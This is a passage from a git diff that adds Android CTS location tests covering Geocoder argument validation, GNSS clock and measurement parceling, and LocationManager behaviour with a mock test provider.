+        final int flags = PackageManager.MATCH_DIRECT_BOOT_AWARE
+               | PackageManager.MATCH_DIRECT_BOOT_UNAWARE;
+        return pm.queryIntentServices(intent, flags).isEmpty();
+    }
+
+    public void testGetFromLocation() throws IOException, InterruptedException {
+        Geocoder geocoder = new Geocoder(getContext());
+
+        // There is no guarantee that geocoder.getFromLocation returns accurate results
+        // Thus only test that calling the method with valid arguments doesn't produce
+        // an unexpected exception
+        // Note: there is a risk this test will fail if device under test does not have
+        // a network connection. This is why we try the geocode 5 times if it fails due
+        // to a network error.
+        int numRetries = 0;
+        while (numRetries < MAX_NUM_RETRIES) {
+            try {
+                geocoder.getFromLocation(60, 30, 5);
+                break;
+            } catch (IOException e) {
+                Thread.sleep(TIME_BETWEEN_RETRIES_MS);
+                numRetries++;
+            }
+        }
+        if (numRetries >= MAX_NUM_RETRIES) {
+            fail("Failed to geocode location " + MAX_NUM_RETRIES + " times.");
+        }
+
+
+        try {
+            // latitude is less than -90
+            geocoder.getFromLocation(-91, 30, 5);
+            fail("should throw IllegalArgumentException");
+        } catch (IllegalArgumentException e) {
+        }
+
+        try {
+            // latitude is greater than 90
+            geocoder.getFromLocation(91, 30, 5);
+            fail("should throw IllegalArgumentException");
+        } catch (IllegalArgumentException e) {
+        }
+
+        try {
+            // longitude is less than -180
+            geocoder.getFromLocation(10, -181, 5);
+            fail("should throw IllegalArgumentException");
+        } catch (IllegalArgumentException e) {
+        }
+
+        try {
+            // longitude is greater than 180
+            geocoder.getFromLocation(10, 181, 5);
+            fail("should throw IllegalArgumentException");
+        } catch (IllegalArgumentException e) {
+        }
+    }
+
+    public void testGetFromLocationName() throws IOException, InterruptedException {
+        Geocoder geocoder = new Geocoder(getContext(), Locale.US);
+
+        // There is no guarantee that geocoder.getFromLocationName returns accurate results.
+        // Thus only test that calling the method with valid arguments doesn't produce
+        // an unexpected exception
+        // Note: there is a risk this test will fail if device under test does not have
+        // a network connection. This is why we try the geocode 5 times if it fails due
+        // to a network error.
+        int numRetries = 0;
+        while (numRetries < MAX_NUM_RETRIES) {
+            try {
+                geocoder.getFromLocationName("Dalvik,Iceland", 5);
+                break;
+            } catch (IOException e) {
+                Thread.sleep(TIME_BETWEEN_RETRIES_MS);
+                numRetries++;
+            }
+        }
+        if (numRetries >= MAX_NUM_RETRIES) {
+            fail("Failed to geocode location name " + MAX_NUM_RETRIES + " times.");
+        }
+
+        try {
+            geocoder.getFromLocationName(null, 5);
+            fail("should throw IllegalArgumentException");
+        } catch (IllegalArgumentException e) {
+        }
+
+        try {
+            geocoder.getFromLocationName("Beijing", 5, -91, 100, 45, 130);
+            fail("should throw IllegalArgumentException");
+        } catch (IllegalArgumentException e) {
+        }
+
+        try {
+            geocoder.getFromLocationName("Beijing", 5, 25, 190, 45, 130);
+            fail("should throw IllegalArgumentException");
+        } catch (IllegalArgumentException e) {
+        }
+
+        try {
+            geocoder.getFromLocationName("Beijing", 5, 25, 100, 91, 130);
+            fail("should throw IllegalArgumentException");
+        } catch (IllegalArgumentException e) {
+        }
+
+        try {
+            geocoder.getFromLocationName("Beijing", 5, 25, 100, 45, -181);
+            fail("should throw IllegalArgumentException");
+        } catch (IllegalArgumentException e) {
+        }
+    }
+}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/GnssClockTest.java b/tests/location/location_fine/src/android/location/cts/fine/GnssClockTest.java
new file mode 100644
index 0000000..b1d3913
--- /dev/null
+++ b/tests/location/location_fine/src/android/location/cts/fine/GnssClockTest.java
@@ -0,0 +1,121 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.fine;
+
+import android.location.GnssClock;
+import android.location.cts.common.GnssTestCase;
+import android.os.Parcel;
+
+public class GnssClockTest extends GnssTestCase {
+    public void testDescribeContents() {
+        GnssClock clock = new GnssClock();
+        clock.describeContents();
+    }
+
+    public void testReset() {
+        GnssClock clock = new GnssClock();
+        clock.reset();
+    }
+
+    private static void setTestValues(GnssClock clock) {
+        clock.setBiasNanos(1.0);
+        clock.setBiasUncertaintyNanos(2.0);
+        clock.setDriftNanosPerSecond(3.0);
+        clock.setDriftUncertaintyNanosPerSecond(4.0);
+        clock.setFullBiasNanos(5);
+        clock.setHardwareClockDiscontinuityCount(6);
+        clock.setLeapSecond(7);
+        clock.setTimeNanos(8);
+        clock.setTimeUncertaintyNanos(9.0);
+        clock.setElapsedRealtimeNanos(10987732253L);
+        clock.setElapsedRealtimeUncertaintyNanos(3943523.0);
+    }
+
+    private static void verifyTestValues(GnssClock clock) {
+        assertEquals(1.0, clock.getBiasNanos());
+        assertEquals(2.0, clock.getBiasUncertaintyNanos());
+        assertEquals(3.0, clock.getDriftNanosPerSecond());
+        assertEquals(4.0, clock.getDriftUncertaintyNanosPerSecond());
+        assertEquals(5, clock.getFullBiasNanos());
+        assertEquals(6, clock.getHardwareClockDiscontinuityCount());
+        assertEquals(7, clock.getLeapSecond());
+        assertEquals(8, clock.getTimeNanos());
+        assertEquals(9.0, clock.getTimeUncertaintyNanos());
+        assertEquals(10987732253L, clock.getElapsedRealtimeNanos());
+        assertEquals(3943523.0, clock.getElapsedRealtimeUncertaintyNanos());
+    }
+
+    public void testWriteToParcel() {
+        GnssClock clock = new GnssClock();
+        setTestValues(clock);
+        Parcel parcel = Parcel.obtain();
+        clock.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        GnssClock newClock = GnssClock.CREATOR.createFromParcel(parcel);
+        verifyTestValues(newClock);
+        parcel.recycle();
+    }
+
+    public void testSet() {
+        GnssClock clock = new GnssClock();
+        setTestValues(clock);
+        GnssClock newClock = new GnssClock();
+        newClock.set(clock);
+        verifyTestValues(newClock);
+    }
+
+    public void testHasAndReset() {
+        GnssClock clock = new GnssClock();
+        setTestValues(clock);
+
+        assertTrue(clock.hasBiasNanos());
+        clock.resetBiasNanos();
+        assertFalse(clock.hasBiasNanos());
+
+        assertTrue(clock.hasBiasUncertaintyNanos());
+        clock.resetBiasUncertaintyNanos();
+        assertFalse(clock.hasBiasUncertaintyNanos());
+
+        assertTrue(clock.hasDriftNanosPerSecond());
+        clock.resetDriftNanosPerSecond();
+        assertFalse(clock.hasDriftNanosPerSecond());
+
+        assertTrue(clock.hasDriftUncertaintyNanosPerSecond());
+        clock.resetDriftUncertaintyNanosPerSecond();
+        assertFalse(clock.hasDriftUncertaintyNanosPerSecond());
+
+        assertTrue(clock.hasFullBiasNanos());
+        clock.resetFullBiasNanos();
+        assertFalse(clock.hasFullBiasNanos());
+
+        assertTrue(clock.hasLeapSecond());
+        clock.resetLeapSecond();
+        assertFalse(clock.hasLeapSecond());
+
+        assertTrue(clock.hasTimeUncertaintyNanos());
+        clock.resetTimeUncertaintyNanos();
+        assertFalse(clock.hasTimeUncertaintyNanos());
+
+        assertTrue(clock.hasElapsedRealtimeNanos());
+        clock.resetElapsedRealtimeNanos();
+        assertFalse(clock.hasElapsedRealtimeNanos());
+
+        assertTrue(clock.hasElapsedRealtimeUncertaintyNanos());
+        clock.resetElapsedRealtimeUncertaintyNanos();
+        assertFalse(clock.hasElapsedRealtimeUncertaintyNanos());
+    }
+}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/GnssMeasurementTest.java b/tests/location/location_fine/src/android/location/cts/fine/GnssMeasurementTest.java
new file mode 100644
index 0000000..d9cc90e
--- /dev/null
+++ b/tests/location/location_fine/src/android/location/cts/fine/GnssMeasurementTest.java
@@ -0,0 +1,127 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.fine;
+
+import android.location.GnssMeasurement;
+import android.location.GnssStatus;
+import android.location.cts.common.GnssTestCase;
+import android.os.Parcel;
+
+public class GnssMeasurementTest extends GnssTestCase {
+    public void testDescribeContents() {
+        GnssMeasurement measurement = new GnssMeasurement();
+        measurement.describeContents();
+    }
+
+    public void testReset() {
+        GnssMeasurement measurement = new GnssMeasurement();
+        measurement.reset();
+    }
+
+    private static void setTestValues(GnssMeasurement measurement) {
+        measurement.setAccumulatedDeltaRangeMeters(1.0);
+        measurement.setAccumulatedDeltaRangeState(2);
+        measurement.setAccumulatedDeltaRangeUncertaintyMeters(3.0);
+        measurement.setCarrierCycles(4);
+        measurement.setCarrierFrequencyHz(5.0f);
+        measurement.setCarrierPhase(6.0);
+        measurement.setCarrierPhaseUncertainty(7.0);
+        measurement.setCn0DbHz(8.0);
+        measurement.setCodeType("C");
+        measurement.setConstellationType(GnssStatus.CONSTELLATION_GALILEO);
+        measurement.setMultipathIndicator(GnssMeasurement.MULTIPATH_INDICATOR_DETECTED);
+        measurement.setPseudorangeRateMetersPerSecond(9.0);
+        measurement.setPseudorangeRateUncertaintyMetersPerSecond(10.0);
+        measurement.setReceivedSvTimeNanos(11);
+        measurement.setReceivedSvTimeUncertaintyNanos(12);
+        measurement.setSnrInDb(13.0);
+        measurement.setState(14);
+        measurement.setSvid(15);
+        measurement.setTimeOffsetNanos(16.0);
+    }
+
+    private static void verifyTestValues(GnssMeasurement measurement) {
+        assertEquals(1.0, measurement.getAccumulatedDeltaRangeMeters());
+        assertEquals(2, measurement.getAccumulatedDeltaRangeState());
+        assertEquals(3.0, measurement.getAccumulatedDeltaRangeUncertaintyMeters());
+        assertEquals(4, measurement.getCarrierCycles());
+        assertEquals(5.0f, measurement.getCarrierFrequencyHz());
+        assertEquals(6.0, measurement.getCarrierPhase());
+        assertEquals(7.0, measurement.getCarrierPhaseUncertainty());
+        assertEquals(8.0, measurement.getCn0DbHz());
+        assertEquals(GnssStatus.CONSTELLATION_GALILEO, measurement.getConstellationType());
+        assertEquals(GnssMeasurement.MULTIPATH_INDICATOR_DETECTED,
+                measurement.getMultipathIndicator());
+        assertEquals("C", measurement.getCodeType());
+        assertEquals(9.0, measurement.getPseudorangeRateMetersPerSecond());
+        assertEquals(10.0, measurement.getPseudorangeRateUncertaintyMetersPerSecond());
+        assertEquals(11, measurement.getReceivedSvTimeNanos());
+        assertEquals(12, measurement.getReceivedSvTimeUncertaintyNanos());
+        assertEquals(13.0, measurement.getSnrInDb());
+        assertEquals(14, measurement.getState());
+        assertEquals(15, measurement.getSvid());
+        assertEquals(16.0, measurement.getTimeOffsetNanos());
+    }
+
+    public void testWriteToParcel() {
+        GnssMeasurement measurement = new GnssMeasurement();
+        setTestValues(measurement);
+        Parcel parcel = Parcel.obtain();
+        measurement.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        GnssMeasurement newMeasurement = GnssMeasurement.CREATOR.createFromParcel(parcel);
+        verifyTestValues(newMeasurement);
+        parcel.recycle();
+    }
+
+    public void testSet() {
+        GnssMeasurement measurement = new GnssMeasurement();
+        setTestValues(measurement);
+        GnssMeasurement newMeasurement = new GnssMeasurement();
+        newMeasurement.set(measurement);
+        verifyTestValues(newMeasurement);
+    }
+
+    public void testSetReset() {
+        GnssMeasurement measurement = new GnssMeasurement();
+        setTestValues(measurement);
+
+        assertTrue(measurement.hasCarrierCycles());
+        measurement.resetCarrierCycles();
+        assertFalse(measurement.hasCarrierCycles());
+
+        assertTrue(measurement.hasCarrierFrequencyHz());
+        measurement.resetCarrierFrequencyHz();
+        assertFalse(measurement.hasCarrierFrequencyHz());
+
+        assertTrue(measurement.hasCarrierPhase());
+        measurement.resetCarrierPhase();
+        assertFalse(measurement.hasCarrierPhase());
+
+        assertTrue(measurement.hasCarrierPhaseUncertainty());
+        measurement.resetCarrierPhaseUncertainty();
+        assertFalse(measurement.hasCarrierPhaseUncertainty());
+
+        assertTrue(measurement.hasSnrInDb());
+        measurement.resetSnrInDb();
+        assertFalse(measurement.hasSnrInDb());
+
+        assertTrue(measurement.hasCodeType());
+        measurement.resetCodeType();
+        assertFalse(measurement.hasCodeType());
+    }
+}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/GnssMeasurementsEventTest.java b/tests/location/location_fine/src/android/location/cts/fine/GnssMeasurementsEventTest.java
new file mode 100644
index 0000000..6ff29b2
--- /dev/null
+++ b/tests/location/location_fine/src/android/location/cts/fine/GnssMeasurementsEventTest.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.fine;
+
+import android.location.GnssClock;
+import android.location.GnssMeasurement;
+import android.location.GnssMeasurementsEvent;
+import android.location.GnssStatus;
+import android.location.cts.common.GnssTestCase;
+import android.os.Parcel;
+
+import java.util.Collection;
+import java.util.Iterator;
+
+public class GnssMeasurementsEventTest extends GnssTestCase {
+    public void testDescribeContents() {
+        GnssClock clock = new GnssClock();
+        GnssMeasurement m1 = new GnssMeasurement();
+        GnssMeasurement m2 = new GnssMeasurement();
+        GnssMeasurementsEvent event = new GnssMeasurementsEvent(
+                clock, new GnssMeasurement[] {m1, m2});
+        event.describeContents();
+    }
+
+    public void testWriteToParcel() {
+        GnssClock clock = new GnssClock();
+        clock.setLeapSecond(100);
+        GnssMeasurement m1 = new GnssMeasurement();
+        m1.setConstellationType(GnssStatus.CONSTELLATION_GLONASS);
+        GnssMeasurement m2 = new GnssMeasurement();
+        m2.setReceivedSvTimeNanos(43999);
+        GnssMeasurementsEvent event = new GnssMeasurementsEvent(
+                clock, new GnssMeasurement[] {m1, m2});
+        Parcel parcel = Parcel.obtain();
+        event.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        GnssMeasurementsEvent newEvent = GnssMeasurementsEvent.CREATOR.createFromParcel(parcel);
+        assertEquals(100, newEvent.getClock().getLeapSecond());
+        Collection<GnssMeasurement> measurements = newEvent.getMeasurements();
+        assertEquals(2, measurements.size());
+        Iterator<GnssMeasurement> iterator = measurements.iterator();
+        GnssMeasurement newM1 = iterator.next();
+        assertEquals(GnssStatus.CONSTELLATION_GLONASS, newM1.getConstellationType());
+        GnssMeasurement newM2 = iterator.next();
+        assertEquals(43999, newM2.getReceivedSvTimeNanos());
+    }
+}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
new file mode 100644
index 0000000..eb445ce
--- /dev/null
+++ b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
@@ -0,0 +1,1206 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.fine;
+
+import static android.location.LocationManager.FUSED_PROVIDER;
+import static android.location.LocationManager.GPS_PROVIDER;
+import static android.location.LocationManager.KEY_LOCATION_CHANGED;
+import static android.location.LocationManager.KEY_PROVIDER_ENABLED;
+import static android.location.LocationManager.KEY_PROXIMITY_ENTERING;
+import static android.location.LocationManager.NETWORK_PROVIDER;
+import static android.location.LocationManager.PASSIVE_PROVIDER;
+
+import static androidx.test.ext.truth.location.LocationSubject.assertThat;
+
+import static com.android.compatibility.common.util.LocationUtils.createLocation;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.location.Criteria;
+import android.location.GnssMeasurementsEvent;
+import android.location.GnssNavigationMessage;
+import android.location.GnssStatus;
+import android.location.Location;
+import android.location.LocationListener;
+import android.location.LocationManager;
+import android.location.LocationProvider;
+import android.location.LocationRequest;
+import android.location.OnNmeaMessageListener;
+import android.os.Bundle;
+import android.os.CancellationSignal;
+import android.os.HandlerThread;
+import android.os.Looper;
+import android.os.UserManager;
+import android.platform.test.annotations.AppModeFull;
+import android.provider.Settings;
+import android.provider.Settings.Secure;
+import android.util.Log;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.LocationUtils;
+import com.android.internal.util.Preconditions;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.Random;
+import java.util.concurrent.Executors;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.function.Consumer;
+
+@RunWith(AndroidJUnit4.class)
+public class LocationManagerFineTest {
+
+    private static final String TAG = "LocationManagerFineTest";
+
+    private static final long TIMEOUT_MS = 5000;
+    private static final long FAILURE_TIMEOUT_MS = 200;
+
+    private static final String TEST_PROVIDER = "test_provider";
+
+    private Random mRandom;
+    private Context mContext;
+    private LocationManager mManager;
+
+    @Before
+    public void setUp() throws Exception {
+        LocationUtils.registerMockLocationProvider(InstrumentationRegistry.getInstrumentation(),
+                true);
+
+        long seed = System.currentTimeMillis();
+        Log.i(TAG, "location random seed: " + seed);
+
+        mRandom = new Random(seed);
+        mContext = ApplicationProvider.getApplicationContext();
+        mManager = mContext.getSystemService(LocationManager.class);
+
+        assertNotNull(mManager);
+
+        for (String provider : mManager.getAllProviders()) {
+            mManager.removeTestProvider(provider);
+        }
+
+        mManager.addTestProvider(TEST_PROVIDER,
+                true,
+                false,
+                true,
+                false,
+                false,
+                false,
+                false,
+                Criteria.POWER_MEDIUM,
+                Criteria.ACCURACY_FINE);
+        mManager.setTestProviderEnabled(TEST_PROVIDER, true);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        for (String provider : mManager.getAllProviders()) {
+            mManager.removeTestProvider(provider);
+        }
+
+        LocationUtils.registerMockLocationProvider(InstrumentationRegistry.getInstrumentation(),
+                false);
+    }
+
+    @Test
+    public void testIsLocationEnabled() {
+        assertTrue(mManager.isLocationEnabled());
+    }
+
+    @Test
+    public void testValidLocationMode() {
+        int locationMode = Secure.getInt(mContext.getContentResolver(), Secure.LOCATION_MODE,
+                Secure.LOCATION_MODE_OFF);
+        assertThat(locationMode).isNotEqualTo(Secure.LOCATION_MODE_SENSORS_ONLY);
+        assertThat(locationMode).isNotEqualTo(Secure.LOCATION_MODE_BATTERY_SAVING);
+    }
+
+    @Test
+    public void testIsProviderEnabled() {
+        assertTrue(mManager.isProviderEnabled(TEST_PROVIDER));
+
+        mManager.setTestProviderEnabled(TEST_PROVIDER, false);
+        assertFalse(mManager.isProviderEnabled(TEST_PROVIDER));
+
+        mManager.setTestProviderEnabled(TEST_PROVIDER, true);
+        assertTrue(mManager.isProviderEnabled(TEST_PROVIDER));
+
+        try {
+            mManager.isProviderEnabled(null);
+            fail("Should throw IllegalArgumentException if provider is null!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testGetLastKnownLocation() {
+        Location loc1 = createLocation(TEST_PROVIDER, mRandom);
+        Location loc2 = createLocation(TEST_PROVIDER, mRandom);
+
+        mManager.setTestProviderLocation(TEST_PROVIDER, loc1);
+        assertThat(mManager.getLastKnownLocation(TEST_PROVIDER)).isEqualTo(loc1);
+
+        mManager.setTestProviderLocation(TEST_PROVIDER, loc2);
+        assertThat(mManager.getLastKnownLocation(TEST_PROVIDER)).isEqualTo(loc2);
+
+        mManager.setTestProviderEnabled(TEST_PROVIDER, false);
+        assertNull(mManager.getLastKnownLocation(TEST_PROVIDER));
+
+        try {
+            mManager.getLastKnownLocation(null);
+            fail("Should throw IllegalArgumentException if provider is null!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testGetCurrentLocation() throws Exception {
+        Location loc = createLocation(TEST_PROVIDER, mRandom);
+
+        try (GetCurrentLocationCapture capture = new GetCurrentLocationCapture()) {
+            mManager.getCurrentLocation(TEST_PROVIDER, capture.getCancellationSignal(),
+                    Executors.newSingleThreadExecutor(), capture);
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc);
+        }
+
+        // TODO: test timeout case
+
+        try {
+            mManager.getCurrentLocation((String) null, null, Executors.newSingleThreadExecutor(),
+                    (location) -> {});
+            fail("Should throw IllegalArgumentException if provider is null!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testGetCurrentLocation_DirectExecutor() throws Exception {
+        Location loc = createLocation(TEST_PROVIDER, mRandom);
+
+        try (GetCurrentLocationCapture capture = new GetCurrentLocationCapture()) {
+            mManager.getCurrentLocation(TEST_PROVIDER, capture.getCancellationSignal(),
+                    Runnable::run, capture);
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc);
+        }
+    }
+
+    @Test
+    public void testGetCurrentLocation_Cancellation() throws Exception {
+        Location loc = createLocation(TEST_PROVIDER, mRandom);
+
+        try (GetCurrentLocationCapture capture = new GetCurrentLocationCapture()) {
+            mManager.getCurrentLocation(TEST_PROVIDER, capture.getCancellationSignal(),
+                    Runnable::run, capture);
+            capture.getCancellationSignal().cancel();
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc);
+            assertNull(capture.getNextLocation(FAILURE_TIMEOUT_MS));
+        }
+    }
+
+    @Test
+    public void testGetCurrentLocation_ProviderDisabled() throws Exception {
+        try (GetCurrentLocationCapture capture = new GetCurrentLocationCapture()) {
+            mManager.setTestProviderEnabled(TEST_PROVIDER, false);
+            mManager.getCurrentLocation(TEST_PROVIDER, capture.getCancellationSignal(),
+                    Runnable::run, capture);
+            assertNull(capture.getNextLocation(FAILURE_TIMEOUT_MS));
+        }
+
+        try (GetCurrentLocationCapture capture = new GetCurrentLocationCapture()) {
+            mManager.getCurrentLocation(TEST_PROVIDER, capture.getCancellationSignal(),
+                    Runnable::run, capture);
+            mManager.setTestProviderEnabled(TEST_PROVIDER, false);
+            assertNull(capture.getNextLocation(FAILURE_TIMEOUT_MS));
+        }
+    }
+
+    @Test
+    public void testRequestLocationUpdates() throws Exception {
+        Location loc1 = createLocation(TEST_PROVIDER, mRandom);
+        Location loc2 = createLocation(TEST_PROVIDER, mRandom);
+
+        try (LocationListenerCapture capture = new LocationListenerCapture(mManager)) {
+            mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0,
+                    Executors.newSingleThreadExecutor(), capture);
+
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc1);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc1);
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc2);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc2);
+            mManager.setTestProviderEnabled(TEST_PROVIDER, false);
+            assertThat(capture.getNextProviderChange(TIMEOUT_MS)).isEqualTo(Boolean.FALSE);
+            mManager.setTestProviderEnabled(TEST_PROVIDER, true);
+            assertThat(capture.getNextProviderChange(TIMEOUT_MS)).isEqualTo(Boolean.TRUE);
+
+            mManager.removeUpdates(capture);
+
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc1);
+            assertNull(capture.getNextLocation(FAILURE_TIMEOUT_MS));
+            mManager.setTestProviderEnabled(TEST_PROVIDER, false);
+            assertNull(capture.getNextProviderChange(FAILURE_TIMEOUT_MS));
+            mManager.setTestProviderEnabled(TEST_PROVIDER, true);
+            assertNull(capture.getNextProviderChange(FAILURE_TIMEOUT_MS));
+        }
+
+        try {
+            mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0, (LocationListener) null);
+            fail("Should throw IllegalArgumentException if listener is null!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+
+        try (LocationListenerCapture capture = new LocationListenerCapture(mManager)) {
+            mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0, null, capture);
+            fail("Should throw IllegalArgumentException if executor is null!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+
+        try (LocationListenerCapture capture = new LocationListenerCapture(mManager)) {
+            mManager.requestLocationUpdates(null, 0, 0, capture);
+            fail("Should throw IllegalArgumentException if provider is null!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+
+        try {
+            mManager.removeUpdates((LocationListener) null);
+            fail("Should throw IllegalArgumentException if listener is null!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testRequestLocationUpdates_PendingIntent() throws Exception {
+        Location loc1 = createLocation(TEST_PROVIDER, mRandom);
+        Location loc2 = createLocation(TEST_PROVIDER, mRandom);
+
+        try (LocationPendingIntentCapture capture = new LocationPendingIntentCapture(mContext)) {
+            mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0, capture.getPendingIntent());
+
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc1);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc1);
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc2);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc2);
+            mManager.setTestProviderEnabled(TEST_PROVIDER, false);
+            assertThat(capture.getNextProviderChange(TIMEOUT_MS)).isEqualTo(Boolean.FALSE);
+            mManager.setTestProviderEnabled(TEST_PROVIDER, true);
+            assertThat(capture.getNextProviderChange(TIMEOUT_MS)).isEqualTo(Boolean.TRUE);
+
+            mManager.removeUpdates(capture.getPendingIntent());
+
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc1);
+            assertNull(capture.getNextLocation(FAILURE_TIMEOUT_MS));
+            mManager.setTestProviderEnabled(TEST_PROVIDER, false);
+            assertNull(capture.getNextProviderChange(FAILURE_TIMEOUT_MS));
+            mManager.setTestProviderEnabled(TEST_PROVIDER, true);
+            assertNull(capture.getNextProviderChange(FAILURE_TIMEOUT_MS));
+        }
+
+        try {
+            mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0, (PendingIntent) null);
+            fail("Should throw IllegalArgumentException if pending intent is null!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+
+        try (LocationPendingIntentCapture capture = new LocationPendingIntentCapture(mContext)) {
+            mManager.requestLocationUpdates(null, 0, 0, capture.getPendingIntent());
+            fail("Should throw IllegalArgumentException if provider is null!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+
+        try {
+            mManager.removeUpdates((PendingIntent) null);
+            fail("Should throw IllegalArgumentException if pending intent is null!");
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testRequestLocationUpdates_DirectExecutor() throws Exception {
+        Location loc1 = createLocation(TEST_PROVIDER, mRandom);
+        Location loc2 = createLocation(TEST_PROVIDER, mRandom);
+
+        try (LocationListenerCapture capture = new LocationListenerCapture(mManager)) {
+            mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0, Runnable::run, capture);
+
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc1);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc1);
+            mManager.setTestProviderLocation(TEST_PROVIDER, loc2);
+            assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc2);
+            mManager.setTestProviderEnabled(TEST_PROVIDER, false);
+            assertThat(capture.getNextProviderChange(TIMEOUT_MS)).isEqualTo(Boolean.FALSE);
+            mManager.setTestProviderEnabled(TEST_PROVIDER, true);
+            assertThat(capture.getNextProviderChange(TIMEOUT_MS)).isEqualTo(Boolean.TRUE);
+        }
+    }
+
+    @Test
+    public void testRequestLocationUpdates_Looper() throws Exception {
+        HandlerThread thread = new HandlerThread("locationTestThread");
+        thread.start();
+        Looper looper = thread.getLooper();
+        try {
+
+            Location loc1 = createLocation(TEST_PROVIDER, mRandom);
+            Location loc2 = createLocation(TEST_PROVIDER, mRandom);
+
+            try (LocationListenerCapture capture = new LocationListenerCapture(mManager)) {
+                mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0, capture, looper);
+
+                mManager.setTestProviderLocation(TEST_PROVIDER, loc1);
+                assertThat(capture.getNextLocation(TIMEOUT_MS)).isEqualTo(loc1);
+                mManager.setTestProviderLocation(TEST_PROVIDER, loc2);
